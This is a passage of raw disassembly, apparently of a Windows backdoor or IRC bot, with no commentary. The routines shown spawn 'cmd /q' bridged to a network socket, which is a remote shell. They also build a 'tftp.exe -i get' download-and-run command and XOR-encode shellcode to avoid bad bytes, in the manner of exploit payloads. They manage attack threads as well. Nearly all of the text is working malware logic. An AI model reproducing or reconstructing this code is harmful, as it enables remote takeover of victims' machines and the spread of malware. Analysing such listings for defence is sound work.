[ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 nop call near ptr 26402CBh push eax push offset dword_439244 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 nop call near ptr 26402CBh push eax push offset dword_439244 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 27B0823h loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27C0710h sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 call near ptr 26402CBh nop push eax push offset dword_439200 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j nop call near ptr 27B0823h push 1 push dword ptr [esi+8] call near ptr 27B0AC5h nop loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43F700 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A nop call near ptr 26402CBh push eax push offset dword_439324 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 nop call near ptr 26402CBh push eax push offset dword_4392D4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43929C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2760885h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 27404D9h test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4450C8[eax], ecx nop call near ptr 2621910h jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj call near ptr 26402CBh nop push eax push offset dword_439374 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_4393C0 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43F680 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx nop call near ptr 27C082Fh jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2630000h test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4394A0, eax lea eax, [edi+1] mov dword_4394C1, eax lea eax, [edi+17h] mov dword_4394B9, eax pop eax push 74h sub eax, edi push offset dword_43943C push ebx mov dword_4394CF, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_4394C5 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_489FE8 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_489FE8, bl ja short loc_416D17 push 15h push offset loc_439424 push [ebp+arg_0] mov byte_439431, cl mov byte_439435, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_43940C push [ebp+arg_0] mov word_43941A, cx mov byte_43941F, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_444EC0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_489C50 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_444EC0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4450C0[esi], eax and dword_4450C4[esi], 0 mov eax, [esp+8+arg_8] and dword_4450C8[esi], 0 mov dword_4450CC[esi], eax and byte_4450D8[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 5CE89000h, 5F021D9Bh, 0EC8B555Eh, 200EC81h dd 57560000h, 75FF006Ah, 95006810h, 75FF0043h, 875FF0Ch dd 0FF6840E8h, 14C483FFh, 0C0BEFF33h, 8000444Eh, 3C74003Eh dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh dd 437E7Ch, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h dd 81470000h, 489C50FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 1F4h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_4450D4[esi] lea edi, dword_4450D4[esi] nop call near ptr 27B0823h cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4450C8[esi] mov dword_4450C0[esi], ebx mov dword_4450C4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4450CC[esi] mov byte ptr dword_444EC0[esi], bl mov byte_4450D8[esi], bl push dword ptr [edi] call dword_43F700 lea esi, dword_4450D0[esi] mov [edi], ebx push dword ptr [esi] call dword_43F700 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_444EC0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_489C50 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4450C4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_489E54 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4450C0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_489E50 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4450C0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_489E50 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4450D4[eax], ecx mov dword_4450C0[eax], ecx mov dword_4450C4[eax], ecx mov dword_4450C8[eax], ecx mov dword_4450CC[eax], ecx mov dword_4450D0[eax], ecx mov byte ptr dword_444EC0[eax], cl mov byte_4450D8[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 ; --------------------------------------------------------------------------- loc_417146: ; CODE XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 